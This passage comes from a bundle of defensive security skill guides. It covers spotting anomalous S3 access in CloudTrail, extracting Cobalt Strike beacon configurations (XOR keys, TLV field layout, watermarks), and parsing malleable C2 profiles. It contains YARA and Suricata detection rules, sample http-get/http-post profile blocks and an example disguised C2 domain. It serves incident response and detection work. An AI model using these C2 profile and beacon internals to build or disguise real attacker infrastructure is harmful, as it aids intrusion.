'1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0056\nnist_ai_rmf:\n- MEASURE-2.7\n- MAP-5.1\n- MANAGE-2.4\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1530\n- T1567.002\n- T1619\n- T1078.004\n- T1048\n---\n\n\n# Analyzing Cloud Storage Access Patterns\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cloud storage access patterns\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with cloud security concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\n1. Install dependencies: `pip install boto3 requests`\n2. Query CloudTrail for S3 Data Events using AWS CLI or boto3.\n3. Build access baselines: hourly request volume, per-user object counts, source IP history.\n4. Detect anomalies:\n   - After-hours access (outside 8am-6pm local time)\n   - Bulk downloads: >100 GetObject calls from single principal in 1 hour\n   - New source IPs not seen in the prior 30 days\n   - ListBucket enumeration spikes (reconnaissance indicator)\n5. Generate prioritized findings report.\n\n```bash\npython scripts/agent.py --bucket my-sensitive-data --hours-back 24 --output s3_access_report.json\n```\n\n## Examples\n\n### CloudTrail S3 Data Event\n```json\n{\"eventName\": \"GetObject\", \"requestParameters\": {\"bucketName\": \"sensitive-data\", \"key\": \"financials/q4.xlsx\"},\n \"sourceIPAddress\": \"203.0.113.50\", \"userIdentity\": {\"arn\": \"arn:aws:iam::123456789012:user/analyst\"}}\n```\n","skills/analyzing-cloud-storage-access-patterns/references/api-reference.md":"# API Reference: Cloud Storage Access Pattern Analysis\n\n## AWS CLI - CloudTrail Lookup\n```bash\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::S3::Object \\\n  --start-time 2024-01-15T00:00:00Z \\\n  --output json\n```\n\n## CloudTrail S3 Data Event Structure\n```json\n{\n  \"EventTime\": \"2024-01-15T10:30:00Z\",\n  \"EventName\": \"GetObject\",\n  \"Username\": \"analyst\",\n  \"CloudTrailEvent\": \"{\\\"sourceIPAddress\\\":\\\"10.0.0.1\\\",\\\"userAgent\\\":\\\"aws-cli\\\",\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"data\\\",\\\"key\\\":\\\"file.csv\\\"},\\\"userIdentity\\\":{\\\"arn\\\":\\\"arn:aws:iam::123:user/analyst\\\"}}\"\n}\n```\n\n## Key S3 Event Names\n| Event | Meaning |\n|-------|---------|\n| GetObject | Object download |\n| PutObject | Object upload |\n| DeleteObject | Object deletion |\n| ListBucket / ListObjectsV2 | Bucket enumeration |\n| GetBucketPolicy | Policy read |\n| PutBucketPolicy | Policy modification |\n\n## Detection Thresholds\n| Anomaly | Threshold | Severity |\n|---------|-----------|----------|\n| Bulk download | >100 GetObject/hr per user | Critical |\n| After-hours | Access outside 08:00-18:00 UTC | Medium |\n| New source IP | IP not in 30-day baseline | High |\n| Enumeration | >20 ListBucket per user | High |\n\n## boto3 CloudTrail Client (alternative)\n```python\nimport boto3\nclient = boto3.client(\"cloudtrail\")\nresponse = client.lookup_events(\n    LookupAttributes=[{\"AttributeKey\":\"ResourceType\",\"AttributeValue\":\"AWS::S3::Object\"}],\n    StartTime=datetime(2024,1,15),\n    MaxResults=50\n)\nevents = response[\"Events\"]\n```\n","skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md":"---\nname: analyzing-cobalt-strike-beacon-configuration\ndescription: Extract and analyze Cobalt Strike beacon configuration from PE files\n  and memory dumps to identify C2 infrastructure, malleable profiles, and operator\n  tradecraft.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- beacon\n- c2\n- malware-analysis\n- config-extraction\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.001\n- T1090.004\n- T1105\n- T1027\n---\n# Analyzing Cobalt Strike Beacon Configuration\n\n## Overview\n\nCobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobalt strike beacon configuration\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python`\n- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`)\n- Hex editor (010 Editor, HxD) for manual inspection\n- Understanding of PE file format and XOR encoding\n- Memory dump acquisition tools (Volatility3, WinDbg)\n- Network analysis tools (Wireshark) for C2 traffic correlation\n\n## Key Concepts\n\n### Beacon Configuration Structure\n\nCobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data.\n\n### Malleable C2 Profiles\n\nThe beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic.\n\n### Watermark and License Identification\n\nEach Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys.\n\n## Workflow\n\n### Step 1: Extract Configuration with CobaltStrikeParser\n\n```python\n#!/usr/bin/env python3\n\"\"\"Extract Cobalt Strike beacon config from PE or memory dump.\"\"\"\nimport sys\nimport json\n\n# Using SentinelOne's CobaltStrikeParser\n# pip install dissect.cobaltstrike\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\ndef extract_beacon_config(filepath):\n    \"\"\"Parse beacon configuration from file.\"\"\"\n    configs = list(BeaconConfig.from_path(filepath))\n\n    if not configs:\n        print(f\"[-] No beacon configuration found in {filepath}\")\n        return None\n\n    for i, config in enumerate(configs):\n        print(f\"\\n[+] Beacon Configuration #{i+1}\")\n        print(f\"{'='*60}\")\n\n        settings = config.as_dict()\n\n        # Critical fields for incident response\n        critical_fields = [\n            \"SETTING_C2_REQUEST\",\n            \"SETTING_C2_RECOVER\",\n            \"SETTING_PUBKEY\",\n            \"SETTING_DOMAINS\",\n            \"SETTING_BEACONTYPE\",\n            \"SETTING_PORT\",\n            \"SETTING_SLEEPTIME\",\n            \"SETTING_JITTER\",\n            \"SETTING_MAXGET\",\n            \"SETTING_SPAWNTO_X86\",\n            \"SETTING_SPAWNTO_X64\",\n            \"SETTING_PIPENAME\",\n            \"SETTING_WATERMARK\",\n            \"SETTING_C2_VERB_GET\",\n            \"SETTING_C2_VERB_POST\",\n            \"SETTING_USERAGENT\",\n            \"SETTING_PROTOCOL\",\n        ]\n\n        for field in critical_fields:\n            value = settings.get(field, \"N/A\")\n            print(f\"  {field}: {value}\")\n\n        return settings\n\n    return None\n\n\ndef extract_c2_indicators(config):\n    \"\"\"Extract actionable C2 indicators from beacon config.\"\"\"\n    indicators = {\n        \"c2_domains\": [],\n        \"c2_ips\": [],\n        \"c2_urls\": [],\n        \"user_agent\": \"\",\n        \"named_pipes\": [],\n        \"spawn_processes\": [],\n        \"watermark\": \"\",\n    }\n\n    if not config:\n        return indicators\n\n    # Extract C2 domains\n    domains = config.get(\"SETTING_DOMAINS\", \"\")\n    if domains:\n        for domain in str(domains).split(\",\"):\n            domain = domain.strip().rstrip(\"/\")\n            if domain:\n                indicators[\"c2_domains\"].append(domain)\n\n    # Extract user agent\n    indicators[\"user_agent\"] = str(config.get(\"SETTING_USERAGENT\", \"\"))\n\n    # Extract named pipes\n    pipe = config.get(\"SETTING_PIPENAME\", \"\")\n    if pipe:\n        indicators[\"named_pipes\"].append(str(pipe))\n\n    # Extract spawn-to processes\n    for arch in [\"SETTING_SPAWNTO_X86\", \"SETTING_SPAWNTO_X64\"]:\n        proc = config.get(arch, \"\")\n        if proc:\n            indicators[\"spawn_processes\"].append(str(proc))\n\n    # Extract watermark\n    indicators[\"watermark\"] = str(config.get(\"SETTING_WATERMARK\", \"\"))\n\n    return indicators\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(f\"Usage: {sys.argv[0]} <beacon_file_or_dump>\")\n        sys.exit(1)\n\n    config = extract_beacon_config(sys.argv[1])\n    if config:\n        indicators = extract_c2_indicators(config)\n        print(f\"\\n[+] Extracted C2 Indicators:\")\n        print(json.dumps(indicators, indent=2))\n```\n\n### Step 2: Manual XOR Decryption of Beacon Config\n\n```python\nimport struct\n\ndef find_and_decrypt_config(data):\n    \"\"\"Manually locate and decrypt beacon configuration.\"\"\"\n    # Cobalt Strike 4.x uses 0x2e as XOR key\n    xor_keys = [0x2e, 0x69]  # v4, v3\n\n    for xor_key in xor_keys:\n        # Search for the config magic bytes after XOR\n        # Config starts with 0x0001 (BeaconType) XOR'd with key\n        magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,\n                       0x00 ^ xor_key, 0x02 ^ xor_key])\n\n        offset = data.find(magic)\n        if offset == -1:\n            continue\n\n        print(f\"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})\")\n\n        # Decrypt the config blob (typically 4096 bytes)\n        config_size = 4096\n        encrypted = data[offset:offset + config_size]\n        decrypted = bytes([b ^ xor_key for b in encrypted])\n\n        # Parse TLV entries\n        entries = parse_tlv(decrypted)\n        return entries\n\n    return None\n\n\ndef parse_tlv(data):\n    \"\"\"Parse Type-Length-Value configuration entries.\"\"\"\n    entries = {}\n    offset = 0\n\n    # TLV field type mapping\n    field_names = {\n        0x0001: \"BeaconType\",\n        0x0002: \"Port\",\n        0x0003: \"SleepTime\",\n        0x0004: \"MaxGetSize\",\n        0x0005: \"Jitter\",\n        0x0006: \"MaxDNS\",\n        0x0007: \"Deprecated_PublicKey\",\n        0x0008: \"C2Server\",\n        0x0009: \"UserAgent\",\n        0x000a: \"PostURI\",\n        0x000b: \"Malleable_C2_Instructions\",\n        0x000c: \"Deprecated_HttpGet_Metadata\",\n        0x000d: \"SpawnTo_x86\",\n        0x000e: \"SpawnTo_x64\",\n        0x000f: \"CryptoScheme\",\n        0x001a: \"Watermark\",\n        0x001d: \"C2_HostHeader\",\n        0x0024: \"PipeName\",\n        0x0025: \"Year\",\n        0x0026: \"Month\",\n        0x0027: \"Day\",\n        0x0036: \"ProxyHostname\",\n    }\n\n    while offset + 6 <= len(data):\n        entry_type = struct.unpack(\">H\", data[offset:offset+2])[0]\n        entry_len_type = struct.unpack(\">H\", data[offset+2:offset+4])[0]\n        entry_len = struct.unpack(\">H\", data[offset+4:offset+6])[0]\n\n        if entry_type == 0:\n            break\n\n        value_start = offset + 6\n        value_end = value_start + entry_len\n        value_data = data[value_start:value_end]\n\n        field_name = field_names.get(entry_type, f\"Unknown_0x{entry_type:04x}\")\n\n        if entry_len_type == 1:  # Short\n            value = struct.unpack(\">H\", value_data[:2])[0]\n        elif entry_len_type == 2:  # Int\n            value = struct.unpack(\">I\", value_data[:4])[0]\n        elif entry_len_type == 3:  # String/Blob\n            value = value_data.rstrip(b'\\x00').decode('utf-8', errors='replace')\n        else:\n            value = value_data.hex()\n\n        entries[field_name] = value\n        print(f\"  {field_name}: {value}\")\n\n        offset = value_end\n\n    return entries\n```\n\n### Step 3: YARA Rule for Beacon Detection\n\n```python\nimport yara\n\ncobalt_strike_rule = \"\"\"\nrule CobaltStrike_Beacon_Config {\n    meta:\n        description = \"Detects Cobalt Strike beacon configuration\"\n        author = \"Malware Analysis Team\"\n        date = \"2025-01-01\"\n\n    strings:\n        // XOR'd config marker for CS 4.x (key 0x2e)\n        $config_v4 = { 2e 2f 2e 2c }\n\n        // XOR'd config marker for CS 3.x (key 0x69)\n        $config_v3 = { 69 68 69 6b }\n\n        // Common beacon strings\n        $str_pipe = \"\\\\\\\\.\\\\pipe\\\\\" ascii wide\n        $str_beacon = \"beacon\" ascii nocase\n        $str_sleeptime = \"sleeptime\" ascii nocase\n\n        // Reflective loader pattern\n        $reflective = { 4D 5A 41 52 55 48 89 E5 }\n\n    condition:\n        ($config_v4 or $config_v3) or\n        (2 of ($str_*) and $reflective)\n}\n\"\"\"\n\ndef scan_for_beacons(filepath):\n    \"\"\"Scan file with YARA rules for Cobalt Strike beacons.\"\"\"\n    rules = yara.compile(source=cobalt_strike_rule)\n    matches = rules.match(filepath)\n\n    for match in matches:\n        print(f\"[+] YARA Match: {match.rule}\")\n        for string_match in match.strings:\n            offset = string_match.instances[0].offset\n            print(f\"    String: {string_match.identifier} at offset 0x{offset:x}\")\n\n    return matches\n```\n\n### Step 4: Network Traffic Correlation\n\n```python\nfrom dissect.cobaltstrike.c2 import HttpC2Config\n\ndef analyze_c2_profile(beacon_config):\n    \"\"\"Analyze malleable C2 profile from beacon configuration.\"\"\"\n    print(\"\\n[+] Malleable C2 Profile Analysis\")\n    print(\"=\" * 60)\n\n    # HTTP GET configuration\n    get_verb = beacon_config.get(\"SETTING_C2_VERB_GET\", \"GET\")\n    get_uri = beacon_config.get(\"SETTING_C2_REQUEST\", \"\")\n    print(f\"\\n  HTTP GET Request:\")\n    print(f\"    Verb: {get_verb}\")\n    print(f\"    URI: {get_uri}\")\n\n    # HTTP POST configuration\n    post_verb = beacon_config.get(\"SETTING_C2_VERB_POST\", \"POST\")\n    post_uri = beacon_config.get(\"SETTING_C2_POSTREQ\", \"\")\n    print(f\"\\n  HTTP POST Request:\")\n    print(f\"    Verb: {post_verb}\")\n    print(f\"    URI: {post_uri}\")\n\n    # User Agent\n    ua = beacon_config.get(\"SETTING_USERAGENT\", \"\")\n    print(f\"\\n  User-Agent: {ua}\")\n\n    # Host header\n    host = beacon_config.get(\"SETTING_C2_HOSTHEADER\", \"\")\n    print(f\"  Host Header: {host}\")\n\n    # Sleep and jitter for traffic pattern\n    sleep_ms = beacon_config.get(\"SETTING_SLEEPTIME\", 60000)\n    jitter = beacon_config.get(\"SETTING_JITTER\", 0)\n    print(f\"\\n  Sleep Time: {sleep_ms}ms\")\n    print(f\"  Jitter: {jitter}%\")\n\n    # Generate Suricata/Snort signatures\n    print(f\"\\n[+] Suggested Network Signatures:\")\n    if ua:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon UA\"; '\n              f'content:\"{ua}\"; http_user_agent; sid:1000001; rev:1;)')\n    if get_uri:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon URI\"; '\n              f'content:\"{get_uri}\"; http_uri; sid:1000002; rev:1;)')\n```\n\n## Validation Criteria\n\n- Beacon configuration successfully extracted from PE file or memory dump\n- C2 server domains/IPs correctly identified with port and protocol\n- Malleable C2 profile parameters decoded showing HTTP transforms\n- Watermark value extracted for attribution correlation\n- Sleep time and jitter values match observed network beacon intervals\n- YARA rules detect beacon in both packed and unpacked samples\n- Network signatures generated from extracted C2 profile\n\n## References\n\n- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)\n- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike)\n- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/)\n- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode)\n- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/)\n","skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md":"# Cobalt Strike Beacon Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CS-BEACON-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Sample Hash (SHA-256) | |\n| Classification | TLP:AMBER |\n| Analyst | |\n\n## Beacon Configuration Summary\n\n| Setting | Value |\n|---------|-------|\n| Beacon Type | HTTP / HTTPS / SMB / DNS |\n| C2 Server(s) | |\n| Port | |\n| Sleep Time | ms |\n| Jitter | % |\n| User-Agent | |\n| Watermark | |\n| SpawnTo (x86) | |\n| SpawnTo (x64) | |\n| Named Pipe | |\n| Host Header | |\n| Crypto Scheme | |\n\n## C2 Infrastructure\n\n| Indicator | Type | Value | Context |\n|-----------|------|-------|---------|\n| C2 Domain | domain | | Primary callback |\n| C2 IP | ip | | Resolved address |\n| URI Path (GET) | uri | | Beacon check-in |\n| URI Path (POST) | uri | | Data exfiltration |\n\n## Malleable C2 Profile\n\n### HTTP GET Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| Headers | |\n| Metadata Encoding | |\n\n### HTTP POST Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| ID Encoding | |\n| Output Encoding | |\n\n## Watermark Attribution\n\n| Watermark | Known Association | Confidence |\n|-----------|------------------|------------|\n| | Cracked / Licensed / Threat Actor | High/Med/Low |\n\n## Network Detection Signatures\n\n```\n# Suricata signature for beacon C2 traffic\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"Cobalt Strike Beacon C2 Communication\";\n    content:\"[USER_AGENT]\"; http_user_agent;\n    content:\"[URI_PATH]\"; http_uri;\n    sid:1000001; rev:1;\n)\n```\n\n## YARA Detection Rule\n\n```yara\nrule CobaltStrike_Beacon_[CAMPAIGN] {\n    meta:\n        description = \"Detects Cobalt Strike beacon from [CAMPAIGN]\"\n        hash = \"[SHA256]\"\n    strings:\n        $c2 = \"[C2_DOMAIN]\" ascii\n        $pipe = \"[NAMED_PIPE]\" ascii\n        $ua = \"[USER_AGENT]\" ascii\n    condition:\n        2 of them\n}\n```\n\n## Recommendations\n\n1. **Block**: Add C2 domains/IPs to firewall deny lists\n2. **Hunt**: Search for named pipe and spawn-to process in endpoint logs\n3. **Detect**: Deploy YARA and network signatures to detection stack\n4. **Correlate**: Check watermark against threat intelligence databases\n","skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md":"# API Reference: Cobalt Strike Beacon Configuration Analysis\n\n## Beacon Config TLV Format\n\n### Structure\n```\n[Field ID: 2 bytes][Type: 2 bytes][Value: variable]\nType 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data)\n```\n\n### XOR Encoding\n| Version | XOR Key |\n|---------|---------|\n| CS 3.x | `0x69` |\n| CS 4.x | `0x2E` |\n\n### Key Configuration Fields\n| ID | Name | Description |\n|----|------|-------------|\n| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS |\n| 2 | Port | C2 communication port |\n| 3 | SleepTime | Beacon interval (ms) |\n| 5 | Jitter | Random sleep variation (%) |\n| 7 | PublicKey | RSA public key for encryption |\n| 8 | C2Server | Command and control server(s) |\n| 9 | UserAgent | HTTP User-Agent string |\n| 10 | PostURI | POST callback URI |\n| 37 | Watermark | License watermark (operator ID) |\n| 54 | PipeName | Named pipe for SMB beacons |\n\n## 1768.py (Didier Stevens) - Config Extractor\n\n### Syntax\n```bash\npython 1768.py <beacon_file>           # Extract config\npython 1768.py -j <beacon_file>        # JSON output\npython 1768.py -r <beacon_file>        # Raw config dump\n```\n\n## CobaltStrikeParser (SentinelOne)\n\n### Syntax\n```bash\npython parse_beacon_config.py <file>\npython parse_beacon_config.py --json <file>\n```\n\n### Output Fields\n```\nBeaconType:        HTTPS\nPort:              443\nSleepTime:         60000\nJitter:            37\nC2Server:          update.microsoft-cdn.com,/api/v2\nUserAgent:         Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nWatermark:         305419896\nSpawnToX86:        %windir%\\syswow64\\dllhost.exe\nSpawnToX64:        %windir%\\sysnative\\dllhost.exe\n```\n\n## JARM Fingerprinting\n\n### Cobalt Strike Default JARM\n```bash\n# Default CS JARM hash (pre-4.7)\n07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1\n\n# Scan with JARM\npython jarm.py <target_ip> -p 443\n```\n\n## Known Watermark Values\n| Watermark | Attribution |\n|-----------|------------|\n| 0 | Trial/cracked version |\n| 305419896 | Common cracked version |\n| 1359593325 | Known threat actor toolkit |\n| 1580103824 | Known APT usage |\n\n## Detection Signatures\n\n### Suricata\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"ET MALWARE Cobalt Strike Beacon\";\n    content:\"/submit.php\"; http_uri;\n    content:\"Cookie:\"; http_header;\n    pcre:\"/Cookie:\\s[A-Za-z0-9+/=]{60,}/H\";\n    sid:2028591; rev:1;)\n```\n\n### YARA\n```yara\nrule CobaltStrike_Beacon {\n    strings:\n        $config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 }\n        $magic = \"MSSE-%d-server\"\n        $pipe = \"\\\\\\\\.\\\\pipe\\\\msagent_\"\n    condition:\n        uint16(0) == 0x5A4D and any of them\n}\n```\n\n## Malleable C2 Profile Elements\n| Element | Description |\n|---------|-------------|\n| `http-get` | GET request profile (URI, headers, metadata transform) |\n| `http-post` | POST request profile (URI, body transform) |\n| `set sleeptime` | Default beacon interval |\n| `set jitter` | Randomization percentage |\n| `set useragent` | HTTP User-Agent |\n| `set pipename` | SMB named pipe name |\n","skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md":"# Standards and Frameworks Reference\n\n## Cobalt Strike Beacon Configuration Fields\n\n### Configuration TLV Types\n| Type ID | Field Name | Data Type | Description |\n|---------|-----------|-----------|-------------|\n| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind |\n| 0x0002 | Port | Short | C2 communication port |\n| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds |\n| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) |\n| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs |\n| 0x0009 | UserAgent | String | HTTP User-Agent header value |\n| 0x000a | PostURI | String | URI for HTTP POST requests |\n| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex |\n| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex |\n| 0x001a | Watermark | Int | License watermark identifier |\n| 0x0024 | PipeName | String | Named pipe for SMB beacon |\n| 0x001d | HostHeader | String | HTTP Host header value |\n| 0x0032 | ProxyHostname | String | Proxy server address |\n\n### XOR Encoding Scheme\n- **Cobalt Strike 3.x**: XOR key = 0x69\n- **Cobalt Strike 4.x**: XOR key = 0x2e\n- Configuration blob size: 4096 bytes (typical)\n- Encoding: Single-byte XOR across entire config blob\n\n### Stageless Beacon Structure\n- PE with beacon code in .data section\n- 4-byte XOR key applied to .data section content\n- Configuration embedded after beacon code\n- Reflective DLL loader prepended to beacon\n\n## MITRE ATT&CK Mappings\n\n### Cobalt Strike Techniques (S0154)\n| Technique | ID | Description |\n|-----------|-----|------------|\n| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication |\n| Encrypted Channel | T1573.002 | AES-256 encrypted C2 |\n| Ingress Tool Transfer | T1105 | Download additional payloads |\n| Process Injection | T1055 | Inject into spawned processes |\n| Named Pipes | T1570 | SMB beacon lateral movement |\n| Service Execution | T1569.002 | PSExec-style lateral movement |\n| Reflective Code Loading | T1620 | In-memory beacon loading |\n\n## Malleable C2 Profile Structure\n\n### HTTP GET Block\n```\nhttp-get {\n    set uri \"/path\";\n    client {\n        header \"Accept\" \"text/html\";\n        metadata {\n            base64url;\n            prepend \"session=\";\n            header \"Cookie\";\n        }\n    }\n    server {\n        header \"Content-Type\" \"text/html\";\n        output {\n            print;\n        }\n    }\n}\n```\n\n### HTTP POST Block\n```\nhttp-post {\n    set uri \"/submit\";\n    client {\n        id {\n            uri-append;\n        }\n        output {\n            base64;\n            print;\n        }\n    }\n    server {\n        output {\n            print;\n        }\n    }\n}\n```\n\n## References\n- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/)\n- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)\n- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/)\n","skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md":"# Cobalt Strike Beacon Analysis Workflows\n\n## Workflow 1: PE File Configuration Extraction\n\n```\n[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt]\n                                                                          |\n                                                                          v\n                                                                  [Parse TLV Config]\n                                                                          |\n                                                                          v\n                                                              [Extract C2 Indicators]\n```\n\n### Steps:\n1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection\n2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker)\n3. **Section Analysis**: Locate .data section containing XOR'd beacon code\n4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key\n5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings\n6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks\n\n## Workflow 2: Memory Dump Beacon Extraction\n\n```\n[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config]\n                                                                            |\n                                                                            v\n                                                                   [C2 Infrastructure Map]\n```\n\n### Steps:\n1. **Acquisition**: Capture memory dump from compromised system\n2. **Process Scan**: Use Volatility3 to identify suspicious processes\n3. **Injection Detection**: Use malfind to find RWX memory regions\n4. **Region Extraction**: Dump injected memory regions to files\n5. **Config Search**: Scan dumps for beacon configuration signatures\n6. **Infrastructure Mapping**: Correlate extracted C2 with network logs\n\n## Workflow 3: Watermark Attribution\n\n```\n[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution]\n                                                                               |\n                                                                               v\n                                                                     [Campaign Correlation]\n```\n\n### Steps:\n1. **Collection**: Gather beacon samples from incident or threat intel feeds\n2. **Watermark Extraction**: Extract watermark value from each sample\n3. **Database Lookup**: Check watermark against known databases\n4. **Clustering**: Group beacons sharing the same watermark\n5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster\n6. **Attribution Assessment**: Link to known threat actor or cracked license\n\n## Workflow 4: C2 Traffic Detection\n\n```\n[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS]\n                                                                            |\n                                                                            v\n                                                                   [Monitor Network Traffic]\n```\n\n### Steps:\n1. **Profile Extraction**: Parse malleable C2 profile from beacon config\n2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding\n3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns\n4. **Deployment**: Deploy signatures to network detection infrastructure\n5. **Validation**: Test signatures against captured beacon traffic\n6. **Monitoring**: Alert on matching network flows for active beacons\n","skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md":"---\nname: analyzing-cobaltstrike-malleable-c2-profiles\ndescription: Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- malleable-c2\n- c2-detection\n- beacon-analysis\n- network-signatures\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1001.003\n- T1090.004\n- T1102\n---\n# Analyzing CobaltStrike Malleable C2 Profiles\n\n## Overview\n\nCobalt Strike Malleable C2 profiles are domain-specific language scripts that customize how Beacon communicates with the team server, defining HTTP request/response transformations, sleep intervals, jitter values, user agents, URI paths, and process injection behavior. Threat actors use malleable profiles to disguise C2 traffic as legitimate services (Amazon, Google, Slack). Analyzing these profiles reveals network indicators for detection: URI patterns, HTTP headers, POST/GET transforms, DNS settings, and process injection techniques. The `dissect.cobaltstrike` library can parse both profile files and extract configurations from beacon payloads, while `pyMalleableC2` provides AST-based parsing using Lark grammar for programmatic profile manipulation and validation.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobaltstrike malleable c2 profiles\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike` and/or `pyMalleableC2`\n- Sample Malleable C2 profiles (available from public repositories)\n- Understanding of HTTP protocol and Cobalt Strike beacon communication model\n- Network monitoring tools (Suricata/Snort) for signature deployment\n- PCAP analysis tools for traffic validation\n\n## Steps\n\n1. Install libraries: `pip install dissect.cobaltstrike` or `pip install pyMalleableC2`\n2. Parse profile with `C2Profile.from_path(\"profile.profile\")`\n3. Extract HTTP GET/POST block configurations (URIs, headers, parameters)\n4. Identify user agent strings and spoof targets\n5. Extract sleep time, jitter percentage, and DNS beacon settings\n6. Analyze process injection settings (spawn-to, allocation technique)\n7. Generate Suricata/Snort signatures 